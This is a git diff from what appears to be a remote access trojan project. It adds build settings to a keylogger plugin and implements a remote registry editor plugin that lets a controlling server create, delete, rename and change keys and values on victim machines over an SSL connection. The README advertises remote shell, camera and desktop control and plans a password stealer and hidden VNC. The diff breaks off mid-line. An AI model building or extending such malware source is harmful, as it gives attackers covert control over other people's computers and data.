diff --git a/Plugin/Keylogger/Keylogger/ILMerge.props b/Plugin/Keylogger/Keylogger/ILMerge.props new file mode 100644 index 0000000..aaadb12 --- /dev/null +++ b/Plugin/Keylogger/Keylogger/ILMerge.props @@ -0,0 +1,67 @@ + + + + + + + + + + + true + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Plugin/Keylogger/Keylogger/ILMergeOrder.txt b/Plugin/Keylogger/Keylogger/ILMergeOrder.txt new file mode 100644 index 0000000..3fda7f5 --- /dev/null +++ b/Plugin/Keylogger/Keylogger/ILMergeOrder.txt @@ -0,0 +1,4 @@ +# this file contains the partial list of the merged assemblies in the merge order +# you can fill it from the obj\CONFIG\PROJECT.ilmerge generated on every build +# and finetune merge order to your satisfaction + diff --git a/Plugin/Keylogger/Keylogger/Keylogger.csproj b/Plugin/Keylogger/Keylogger/Keylogger.csproj index 42b37f5..352bcdf 100644 --- a/Plugin/Keylogger/Keylogger/Keylogger.csproj +++ b/Plugin/Keylogger/Keylogger/Keylogger.csproj @@ -1,5 +1,7 @@  + + Debug @@ -26,6 +28,8 @@ false false true + + AnyCPU @@ -70,6 +74,8 @@ True Resources.resx + + SettingsSingleFileGenerator Settings.Designer.cs @@ -87,5 +93,17 @@ false + + + + + + 这台计算机上缺少此项目引用的 NuGet 程序包。使用“NuGet 程序包还原”可下载这些程序包。有关更多信息,请参见 http://go.microsoft.com/fwlink/?LinkID=322105。缺少的文件是 {0}。 + + + + + + \ No newline at end of file diff --git a/Plugin/Keylogger/Keylogger/packages.config b/Plugin/Keylogger/Keylogger/packages.config new file mode 100644 index 0000000..1bc7f33 --- /dev/null +++ b/Plugin/Keylogger/Keylogger/packages.config @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/Plugin/Regedit/Regedit.sln b/Plugin/Regedit/Regedit.sln index 15f717e..0205026 100644 --- a/Plugin/Regedit/Regedit.sln +++ b/Plugin/Regedit/Regedit.sln @@ -1,9 +1,9 @@  Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 16 -VisualStudioVersion = 16.0.29123.88 +VisualStudioVersion = 16.0.31025.194 MinimumVisualStudioVersion = 10.0.40219.1 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Regedit", "Regedit\Regedit.csproj", "{1092ea5e-0249-4a81-a957-5bc44182128c}" +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Regedit", "Regedit\Regedit.csproj", "{C3D45C48-8543-49B5-B993-822FCFE1CA75}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution @@ -11,15 +11,15 @@ Global Release|Any CPU = Release|Any CPU EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution - {1092ea5e-0249-4a81-a957-5bc44182128c}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {1092ea5e-0249-4a81-a957-5bc44182128c}.Debug|Any CPU.Build.0 = Debug|Any CPU - {1092ea5e-0249-4a81-a957-5bc44182128c}.Release|Any CPU.ActiveCfg = Release|Any CPU - {1092ea5e-0249-4a81-a957-5bc44182128c}.Release|Any CPU.Build.0 = Release|Any CPU + {C3D45C48-8543-49B5-B993-822FCFE1CA75}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {C3D45C48-8543-49B5-B993-822FCFE1CA75}.Debug|Any CPU.Build.0 = Debug|Any CPU + {C3D45C48-8543-49B5-B993-822FCFE1CA75}.Release|Any CPU.ActiveCfg = Release|Any CPU + {C3D45C48-8543-49B5-B993-822FCFE1CA75}.Release|Any CPU.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution - SolutionGuid = {4FD410CC-1F1D-4948-A108-13285D633CDD} + SolutionGuid = {F9C76CBD-7872-426D-AEE6-560F2E39359D} EndGlobalSection EndGlobal diff --git a/Plugin/Regedit/Regedit/Connection.cs b/Plugin/Regedit/Regedit/Connection.cs index 1fd750c..2e94332 100644 --- a/Plugin/Regedit/Regedit/Connection.cs +++ b/Plugin/Regedit/Regedit/Connection.cs @@ -1,5 +1,5 @@ -using Plugin.Handler; -using MessagePackLib.MessagePack; +using MessagePackLib.MessagePack; +using Plugin.Handler; using System; using System.Collections.Generic; using System.Diagnostics; @@ -27,7 +27,7 @@ namespace Plugin private static object SendSync { get; } = new object(); public static string Hwid { get; set; } - public static void InitializeClient(byte[] packet) + public static void InitializeClient() { try { @@ -58,7 +58,7 @@ namespace Plugin msgpack.ForcePathObject("Hwid").AsString = Hwid; msgpack.ForcePathObject("Command").AsString = "setClient"; Send(msgpack.Encode2Bytes()); - new RegManager(new MsgPack()).LoadKey(msgpack.ForcePathObject("RootKeyName").AsString); + new RegManager(new MsgPack()).LoadKey(""); }).Start(); } @@ -201,7 +201,6 @@ namespace Plugin } else { - TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(msg, 0, msg.Length); SslClient.Flush(); } diff --git a/Plugin/Regedit/Regedit/Handler/RegManager.cs b/Plugin/Regedit/Regedit/Handler/RegManager.cs index c9f275b..b38fdc5 100644 --- a/Plugin/Regedit/Regedit/Handler/RegManager.cs +++ b/Plugin/Regedit/Regedit/Handler/RegManager.cs @@ -1,17 +1,11 @@ using System; -using System.Drawing; -using System.Drawing.Imaging; using System.IO; -using System.Text; -using System.Diagnostics; -using System.Threading; using MessagePackLib.MessagePack; -using System.Runtime.InteropServices; using Microsoft.Win32; -using System.Text.RegularExpressions; using System.Runtime.Serialization.Formatters.Binary; using static Plugin.Handler.RegistrySeeker; using ProtoBuf; +using System.Windows.Forms; namespace Plugin.Handler { @@ -25,7 +19,7 @@ namespace Plugin.Handler { case "LoadRegistryKey": { - string RootKeyName = unpack_msgpack.ForcePathObject("RootKeyName").AsString; + string RootKeyName = unpack_msgpack.ForcePathObject("RootKeyName").AsString; LoadKey(RootKeyName); break; } @@ -89,7 +83,6 @@ namespace Plugin.Handler } catch (Exception ex) { - Debug.WriteLine(ex.Message); Packet.Error(ex.Message); } } @@ -102,7 +95,25 @@ namespace Plugin.Handler Serializer.Serialize(ms, Matches); return ms.ToArray(); } - } + } + + public static byte[] Serialize(RegSeekerMatch Matche) + { + using (MemoryStream ms = new MemoryStream()) + { + Serializer.Serialize(ms, Matche); + return ms.ToArray(); + } + } + + public static byte[] Serialize(RegValueData Value) + { + using (MemoryStream ms = new MemoryStream()) + { + Serializer.Serialize(ms, Value); + return ms.ToArray(); + } + } public void LoadKey(string RootKeyName) @@ -112,12 +123,6 @@ namespace Plugin.Handler RegistrySeeker seeker = new RegistrySeeker(); seeker.BeginSeeking(RootKeyName); - - //BinaryFormatter formatter = new BinaryFormatter(); - //MemoryStream mStream = new MemoryStream(); - //formatter.Serialize(mStream, seeker.Matches); - //mStream.Flush(); - MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Pac_ket").AsString = "regManager"; msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid; @@ -153,10 +158,23 @@ namespace Plugin.Handler { string errorMsg; string newKeyName = ""; - try { RegistryEditor.CreateRegistryKey(ParentPath, out newKeyName, out errorMsg); + var Match = new RegSeekerMatch + { + Key = newKeyName, + Data = RegistryKeyHelper.GetDefaultValues(), + HasSubKeys = false + }; + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "regManager"; + msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid; + msgpack.ForcePathObject("Command").AsString = "CreateKey"; + msgpack.ForcePathObject("ParentPath").AsString = ParentPath; + msgpack.ForcePathObject("Match").SetAsBytes(Serialize(Match)); + Connection.Send(msgpack.Encode2Bytes()); } catch (Exception ex) { @@ -169,6 +187,14 @@ namespace Plugin.Handler try { RegistryEditor.DeleteRegistryKey(KeyName, ParentPath, out errorMsg); + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "regManager"; + msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid; + msgpack.ForcePathObject("Command").AsString = "DeleteKey"; + msgpack.ForcePathObject("ParentPath").AsString = ParentPath; + msgpack.ForcePathObject("KeyName").AsString = KeyName; + Connection.Send(msgpack.Encode2Bytes()); } catch (Exception ex) { @@ -181,11 +207,20 @@ namespace Plugin.Handler try { RegistryEditor.RenameRegistryKey(OldKeyName, NewKeyName, ParentPath, out errorMsg); + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "regManager"; + msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid; + msgpack.ForcePathObject("Command").AsString = "RenameKey"; + msgpack.ForcePathObject("rootKey").AsString = ParentPath; + msgpack.ForcePathObject("oldName").AsString = OldKeyName; + msgpack.ForcePathObject("newName").AsString = NewKeyName; + Connection.Send(msgpack.Encode2Bytes()); } catch (Exception ex) { Packet.Error(ex.Message); - } + } } public void CreateValue(string KeyPath, string Kindstring) { @@ -238,6 +273,15 @@ namespace Plugin.Handler try { RegistryEditor.CreateRegistryValue(KeyPath, Kind, out newKeyName, out errorMsg); + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "regManager"; + msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid; + msgpack.ForcePathObject("Command").AsString = "CreateValue"; + msgpack.ForcePathObject("keyPath").AsString = KeyPath; + msgpack.ForcePathObject("Kindstring").AsString = Kindstring; + msgpack.ForcePathObject("newKeyName").AsString = newKeyName; + Connection.Send(msgpack.Encode2Bytes()); } catch (Exception ex) { @@ -250,6 +294,14 @@ namespace Plugin.Handler try { RegistryEditor.DeleteRegistryValue(KeyPath, ValueName, out errorMsg); + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "regManager"; + msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid; + msgpack.ForcePathObject("Command").AsString = "DeleteValue"; + msgpack.ForcePathObject("keyPath").AsString = KeyPath; + msgpack.ForcePathObject("ValueName").AsString = ValueName; + Connection.Send(msgpack.Encode2Bytes()); } catch (Exception ex) { @@ -262,6 +314,15 @@ namespace Plugin.Handler try { RegistryEditor.RenameRegistryValue(OldValueName, NewValueName, KeyPath, out errorMsg); + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "regManager"; + msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid; + msgpack.ForcePathObject("Command").AsString = "RenameValue"; + msgpack.ForcePathObject("KeyPath").AsString = KeyPath; + msgpack.ForcePathObject("OldValueName").AsString = OldValueName; + msgpack.ForcePathObject("NewValueName").AsString = NewValueName; + Connection.Send(msgpack.Encode2Bytes()); } catch (Exception ex) { @@ -274,6 +335,14 @@ namespace Plugin.Handler try { RegistryEditor.ChangeRegistryValue(Value, KeyPath, out errorMsg); + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "regManager"; + msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid; + msgpack.ForcePathObject("Command").AsString = "ChangeValue"; + msgpack.ForcePathObject("KeyPath").AsString = KeyPath; + msgpack.ForcePathObject("Value").SetAsBytes(Serialize(Value)); + Connection.Send(msgpack.Encode2Bytes()); } catch (Exception ex) { diff --git a/Plugin/Regedit/Regedit/Packet.cs b/Plugin/Regedit/Regedit/Packet.cs index ed1f121..48312da 100644 --- a/Plugin/Regedit/Regedit/Packet.cs +++ b/Plugin/Regedit/Regedit/Packet.cs @@ -1,21 +1,11 @@ using Plugin.Handler; using MessagePackLib.MessagePack; using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.IO; -using System.Linq; -using System.Management; -using System.Runtime.InteropServices; -using System.Text; -using System.Threading; namespace Plugin { public static class Packet { - public static string FileCopy = null; - public static string ZipPath = null; public static void Read(object data) { diff --git a/Plugin/Regedit/Regedit/Plugin.cs b/Plugin/Regedit/Regedit/Plugin.cs index f6a1d10..057d1d2 100644 --- a/Plugin/Regedit/Regedit/Plugin.cs +++ b/Plugin/Regedit/Regedit/Plugin.cs @@ -1,5 +1,4 @@ -using MessagePackLib.MessagePack; -using System; +using System; using System.Collections.Generic; using System.Diagnostics; using System.Linq; @@ -11,28 +10,18 @@ using System.Threading; namespace Plugin { - public class Plugin + public class Plugin { public static Socket Socket; - public static Mutex AppMutex; - public static string Mutex; - public static string BSOD; - public static string Install; - public static string InstallFile; - public void Run(Socket socket, X509Certificate2 certificate, string hwid, byte[] msgPack, Mutex mutex, string mtx, string bsod, string install) { Debug.WriteLine("Plugin Invoked"); - AppMutex = mutex; - Mutex = mtx; - BSOD = bsod; - Install = install; Socket = socket; Connection.ServerCertificate = certificate; Connection.Hwid = hwid; new Thread(() => { - Connection.InitializeClient(msgPack); + Connection.InitializeClient(); }).Start(); while (Connection.IsConnected) diff --git a/Plugin/Regedit/Regedit/Properties/AssemblyInfo.cs b/Plugin/Regedit/Regedit/Properties/AssemblyInfo.cs index 46874a0..1b0bb06 100644 --- a/Plugin/Regedit/Regedit/Properties/AssemblyInfo.cs +++ b/Plugin/Regedit/Regedit/Properties/AssemblyInfo.cs @@ -2,36 +2,35 @@ using System.Runtime.CompilerServices; using System.Runtime.InteropServices; -// General Information about an assembly is controlled through the following -// set of attributes. Change these attribute values to modify the information -// associated with an assembly. -//[assembly: AssemblyTitle("FileManager")] -//[assembly: AssemblyDescription("")] -//[assembly: AssemblyConfiguration("")] -//[assembly: AssemblyCompany("")] -//[assembly: AssemblyProduct("FileManager")] -//[assembly: AssemblyCopyright("Copyright © 2019")] -//[assembly: AssemblyTrademark("")] -//[assembly: AssemblyCulture("")] +// 有关程序集的一般信息由以下 +// 控制。更改这些特性值可修改 +// 与程序集关联的信息。 +[assembly: AssemblyTitle("Regedit")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("Regedit")] +[assembly: AssemblyCopyright("Copyright © 2021")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from -// COM, set the ComVisible attribute to true on that type. +// 将 ComVisible 设置为 false 会使此程序集中的类型 +//对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型 +//请将此类型的 ComVisible 特性设置为 true。 [assembly: ComVisible(false)] -// The following GUID is for the ID of the typelib if this project is exposed to COM -//[assembly: Guid("bee88186-769a-452c-9dd9-d0e0815d92bf")] +// 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID +[assembly: Guid("c3d45c48-8543-49b5-b993-822fcfe1ca75")] -// Version information for an assembly consists of the following four values: +// 程序集的版本信息由下列四个值组成: // -// Major Version -// Minor Version -// Build Number -// Revision +// 主版本 +// 次版本 +// 生成号 +// 修订号 // -// You can specify all the values or you can default the Build and Revision Numbers -// by using the '*' as shown below: +//可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值 +//通过使用 "*",如下所示: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.6.0")] -[assembly: AssemblyFileVersion("1.0.6.0")] -[assembly: Guid("1092ea5e-0249-4a81-a957-5bc44182128c")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/Plugin/Regedit/Regedit/Regedit.csproj b/Plugin/Regedit/Regedit/Regedit.csproj index c81bce3..aedcb9d 100644 --- a/Plugin/Regedit/Regedit/Regedit.csproj +++ b/Plugin/Regedit/Regedit/Regedit.csproj @@ -9,7 +9,7 @@ {AB6CDF36-F336-4F14-8D69-3C190B7DEC65} Library Properties - Plugin + Regedit Regedit v4.0 512 @@ -27,13 +27,12 @@ 4 - none + pdbonly true ..\..\..\Binaries\Release\Plugins\ TRACE prompt 4 - AnyCPU @@ -42,9 +41,9 @@ - + @@ -54,18 +53,18 @@ - + - {DC199D9E-CF10-41DD-BBCD-98E71BA8679D} + {dc199d9e-cf10-41dd-bbcd-98e71ba8679d} MessagePackLib @@ -79,7 +78,7 @@ - This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. + 这台计算机上缺少此项目引用的 NuGet 程序包。使用“NuGet 程序包还原”可下载这些程序包。有关更多信息,请参见 http://go.microsoft.com/fwlink/?LinkID=322105。缺少的文件是 {0}。 diff --git a/Plugin/Regedit/Regedit/Zip.cs b/Plugin/Regedit/Regedit/Zip.cs deleted file mode 100644 index 60db829..0000000 --- a/Plugin/Regedit/Regedit/Zip.cs +++ /dev/null @@ -1,45 +0,0 @@ -using System; -using System.IO; -using System.IO.Compression; - -namespace Plugin -{ - public static class Zip - { - public static byte[] Decompress(byte[] input) - { - using (var source = new MemoryStream(input)) - { - byte[] lengthBytes = new byte[4]; - source.Read(lengthBytes, 0, 4); - - var length = BitConverter.ToInt32(lengthBytes, 0); - using (var decompressionStream = new GZipStream(source, - CompressionMode.Decompress)) - { - var result = new byte[length]; - decompressionStream.Read(result, 0, length); - return result; - } - } - } - - public static byte[] Compress(byte[] input) - { - using (var result = new MemoryStream()) - { - var lengthBytes = BitConverter.GetBytes(input.Length); - result.Write(lengthBytes, 0, 4); - - using (var compressionStream = new GZipStream(result, - CompressionMode.Compress)) - { - compressionStream.Write(input, 0, input.Length); - compressionStream.Flush(); - - } - return result.ToArray(); - } - } - } -} diff --git a/README.md b/README.md index eb80072..1521851 100644 --- a/README.md +++ b/README.md @@ -27,6 +27,7 @@ - Remote shell - Remote desktop - Remote camera +- Registry Editor - File management - Process management - Netstat @@ -84,7 +85,6 @@ ##### TODO -- Registry Editor - Password recovery and other stealer (only chrome and edge are supported now) - Reverse Proxy - Hidden VNC diff --git a/Server/Forms/Form1.cs b/Server/Forms/Form1.cs index b1db41e..e02b93b 100644 --- a/Server/Forms/Form1.cs +++ b/Server/Forms/Form1.cs @@ -2197,7 +2197,8 @@ namespace Server { Name = "remoteRegedit:" + client.ID, Text = "remoteRegedit:" + client.ID, - Client = client, + //Client = client, + ParentClient = client, F = this }; registryEditor.Show(); diff --git a/Server/Forms/FormRegistryEditor.Designer.cs b/Server/Forms/FormRegistryEditor.Designer.cs index 968cd01..852d858 100644 --- a/Server/Forms/FormRegistryEditor.Designer.cs +++ b/Server/Forms/FormRegistryEditor.Designer.cs @@ -603,6 +603,7 @@ namespace Server.Forms // // timer1 // + this.timer1.Interval = 2000; this.timer1.Tick += new System.EventHandler(this.timer1_Tick); // // FormRegistryEditor diff --git a/Server/Forms/FormRegistryEditor.cs b/Server/Forms/FormRegistryEditor.cs index 5f83f17..3618f3c 100644 --- a/Server/Forms/FormRegistryEditor.cs +++ b/Server/Forms/FormRegistryEditor.cs @@ -19,94 +19,23 @@ namespace Server.Forms internal Clients ParentClient { get; set; } + + public FormRegistryEditor() { InitializeComponent(); } - /// - /// Registers the registry editor handler for client communication. - /// - //private void RegisterMessageHandler() - //{ - // _connectClient.ClientState += ClientDisconnected; - // _registryHandler.ProgressChanged += ShowErrorMessage; - // _registryHandler.KeysReceived += AddKeys; - // _registryHandler.KeyCreated += CreateNewKey; - // _registryHandler.KeyDeleted += DeleteKey; - // _registryHandler.KeyRenamed += RenameKey; - // _registryHandler.ValueCreated += CreateValue; - // _registryHandler.ValueDeleted += DeleteValue; - // _registryHandler.ValueRenamed += RenameValue; - // _registryHandler.ValueChanged += ChangeValue; - // MessageHandler.Register(_registryHandler); - //} - - /// - /// Unregisters the registry editor message handler. - /// - //private void UnregisterMessageHandler() - //{ - // MessageHandler.Unregister(_registryHandler); - // _registryHandler.ProgressChanged -= ShowErrorMessage; - // _registryHandler.KeysReceived -= AddKeys; - // _registryHandler.KeyCreated -= CreateNewKey; - // _registryHandler.KeyDeleted -= DeleteKey; - // _registryHandler.KeyRenamed -= RenameKey; - // _registryHandler.ValueCreated -= CreateValue; - // _registryHandler.ValueDeleted -= DeleteValue; - // _registryHandler.ValueRenamed -= RenameValue; - // _registryHandler.ValueChanged -= ChangeValue; - // _connectClient.ClientState -= ClientDisconnected; - //} - - /// - /// Called whenever a client disconnects. - /// - /// The client which disconnected. - /// True if the client connected, false if disconnected - //private void ClientDisconnected(Client client, bool connected) - //{ - // if (!connected) - // { - // this.Invoke((MethodInvoker)this.Close); - // } - //} - - - protected override CreateParams CreateParams - { - get - { - CreateParams cp = base.CreateParams; - cp.ExStyle |= 0x02000000; //WS_EX_COMPOSITED - return cp; - } - } - private void FrmRegistryEditor_Load(object sender, EventArgs e) { - if (Client.Admin != true) + if (ParentClient.Admin != true) { MessageBox.Show( "The client software is not running as administrator and therefore some functionality like Update, Create, Open and Delete may not work properly!", "Alert!", MessageBoxButtons.OK, MessageBoxIcon.Warning); } - - //this.Text = GetWindowTitle("Registry Editor", _connectClient); - - // signal client to retrive the root nodes (indicated by null) - - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Pac_ket").AsString = "regManager"; - msgpack.ForcePathObject("Command").AsString = "LoadRegistryKey"; - msgpack.ForcePathObject("RootKeyName").AsString = ""; - ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); - //LoadRegistryKey(null); } - #region TreeView helper functions - private void AddRootKey(RegSeekerMatch match) { TreeNode node = CreateNode(match.Key, match.Key, match.Data); @@ -163,7 +92,7 @@ namespace Server.Forms } } - private void CreateNewKey(object sender, string rootKey, RegSeekerMatch match) + public void CreateNewKey(string rootKey, RegSeekerMatch match) { TreeNode parent = GetTreeNode(rootKey); @@ -177,7 +106,7 @@ namespace Server.Forms node.BeginEdit(); } - private void DeleteKey(object sender, string rootKey, string subKey) + public void DeleteKey(string rootKey, string subKey) { TreeNode parent = GetTreeNode(rootKey); @@ -186,7 +115,7 @@ namespace Server.Forms } } - private void RenameKey(object sender, string rootKey, string oldName, string newName) + public void RenameKey(string rootKey, string oldName, string newName) { TreeNode parent = GetTreeNode(rootKey); @@ -221,11 +150,10 @@ namespace Server.Forms return lastNode; } - #endregion #region ListView helper functions - private void CreateValue(object sender, string keyPath, RegValueData value) + public void CreateValue(string keyPath, RegValueData value) { TreeNode key = GetTreeNode(keyPath); @@ -250,7 +178,7 @@ namespace Server.Forms } } - private void DeleteValue(object sender, string keyPath, string valueName) + public void DeleteValue(string keyPath, string valueName) { TreeNode key = GetTreeNode(keyPath); @@ -281,7 +209,7 @@ namespace Server.Forms } } - private void RenameValue(object sender, string keyPath, string oldName, string newName) + public void RenameValue(string keyPath, string oldName, string newName) { TreeNode key = GetTreeNode(keyPath); @@ -302,7 +230,7 @@ namespace Server.Forms } } - private void ChangeValue(object sender, string keyPath, RegValueData value) + public void ChangeValue(string keyPath, RegValueData value) { TreeNode key = GetTreeNode(keyPath); @@ -378,7 +306,13 @@ namespace Server.Forms } else { - //RenameRegistryKey(e.Node.Parent.FullPath, e.Node.Name, e.Label); + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "regManager"; + msgpack.ForcePathObject("Command").AsString = "RenameRegistryKey"; + msgpack.ForcePathObject("OldKeyName").AsString = e.Node.Name; + msgpack.ForcePathObject("NewKeyName").AsString = e.Label; + msgpack.ForcePathObject("ParentPath").AsString = e.Node.Parent.FullPath; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); tvRegistryDirectory.LabelEdit = false; } } @@ -405,8 +339,14 @@ namespace Server.Forms tvRegistryDirectory.SuspendLayout(); parentNode.Nodes.Clear(); - //LoadRegistryKey(parentNode.FullPath); + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "regManager"; + msgpack.ForcePathObject("Command").AsString = "LoadRegistryKey"; + msgpack.ForcePathObject("RootKeyName").AsString = parentNode.FullPath; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + + Thread.Sleep(500); tvRegistryDirectory.ResumeLayout(); e.Cancel = true; @@ -550,7 +490,13 @@ namespace Server.Forms return; } - //RenameRegistryValue(tvRegistryDirectory.SelectedNode.FullPath,lstRegistryValues.Items[index].Name, e.Label); + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "regManager"; + msgpack.ForcePathObject("Command").AsString = "RenameRegistryValue"; + msgpack.ForcePathObject("OldValueName").AsString = lstRegistryValues.Items[index].Name; + msgpack.ForcePathObject("NewValueName").AsString = e.Label; + msgpack.ForcePathObject("KeyPath").AsString = tvRegistryDirectory.SelectedNode.FullPath; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); lstRegistryValues.LabelEdit = false; } else @@ -586,7 +532,11 @@ namespace Server.Forms } else { - //CreateRegistryKey(tvRegistryDirectory.SelectedNode.FullPath); + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "regManager"; + msgpack.ForcePathObject("Command").AsString = "CreateRegistryKey"; + msgpack.ForcePathObject("ParentPath").AsString = tvRegistryDirectory.SelectedNode.FullPath; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } } @@ -603,11 +553,10 @@ namespace Server.Forms MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Pac_ket").AsString = "regManager"; - msgpack.ForcePathObject("Command").AsString = "deleteRegistryKey"; + msgpack.ForcePathObject("Command").AsString = "DeleteRegistryKey"; msgpack.ForcePathObject("KeyName").AsString = tvRegistryDirectory.SelectedNode.Name; msgpack.ForcePathObject("ParentPath").AsString = parentPath; ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); - //DeleteRegistryKey(parentPath, tvRegistryDirectory.SelectedNode.Name); } } @@ -624,7 +573,12 @@ namespace Server.Forms if (tvRegistryDirectory.SelectedNode != null) { // request the creation of a new Registry value of type REG_SZ - //CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath,RegistryValueKind.String); + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "regManager"; + msgpack.ForcePathObject("Command").AsString = "CreateRegistryValue"; + msgpack.ForcePathObject("KeyPath").AsString = tvRegistryDirectory.SelectedNode.FullPath; + msgpack.ForcePathObject("Kindstring").AsString = "1";//RegistryValueKind.String + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } } @@ -633,7 +587,12 @@ namespace Server.Forms if (tvRegistryDirectory.SelectedNode != null) { // request the creation of a new Registry value of type REG_BINARY - //CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath,RegistryValueKind.Binary); + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "regManager"; + msgpack.ForcePathObject("Command").AsString = "CreateRegistryValue"; + msgpack.ForcePathObject("KeyPath").AsString = tvRegistryDirectory.SelectedNode.FullPath; + msgpack.ForcePathObject("Kindstring").AsString = "3";//RegistryValueKind.Binary + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } } @@ -642,7 +601,12 @@ namespace Server.Forms if (tvRegistryDirectory.SelectedNode != null) { // request the creation of a new Registry value of type REG_DWORD - //CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath,RegistryValueKind.DWord); + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "regManager"; + msgpack.ForcePathObject("Command").AsString = "CreateRegistryValue"; + msgpack.ForcePathObject("KeyPath").AsString = tvRegistryDirectory.SelectedNode.FullPath; + msgpack.ForcePathObject("Kindstring").AsString = "4";//RegistryValueKind.DWord + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } } @@ -651,7 +615,12 @@ namespace Server.Forms if (tvRegistryDirectory.SelectedNode != null) { // request the creation of a new Registry value of type REG_QWORD - //CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath,RegistryValueKind.QWord); + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "regManager"; + msgpack.ForcePathObject("Command").AsString = "CreateRegistryValue"; + msgpack.ForcePathObject("KeyPath").AsString = tvRegistryDirectory.SelectedNode.FullPath; + msgpack.ForcePathObject("Kindstring").AsString = "11";//RegistryValueKind.QWord + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } } @@ -660,7 +629,12 @@ namespace Server.Forms if (tvRegistryDirectory.SelectedNode != null) { // request the creation of a new Registry value of type REG_MULTI_SZ - //CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath,RegistryValueKind.MultiString); + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "regManager"; + msgpack.ForcePathObject("Command").AsString = "CreateRegistryValue"; + msgpack.ForcePathObject("KeyPath").AsString = tvRegistryDirectory.SelectedNode.FullPath; + msgpack.ForcePathObject("Kindstring").AsString = "7";//RegistryValueKind.MultiString + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } } @@ -669,7 +643,12 @@ namespace Server.Forms if (tvRegistryDirectory.SelectedNode != null) { // request the creation of a new Registry value of type REG_EXPAND_SZ - //CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath,RegistryValueKind.ExpandString); + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "regManager"; + msgpack.ForcePathObject("Command").AsString = "CreateRegistryValue"; + msgpack.ForcePathObject("KeyPath").AsString = tvRegistryDirectory.SelectedNode.FullPath; + msgpack.ForcePathObject("Kindstring").AsString = "2";//RegistryValueKind.ExpandString + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } } @@ -691,7 +670,12 @@ namespace Server.Forms if (item.GetType() == typeof(RegistryValueLstItem)) { RegistryValueLstItem 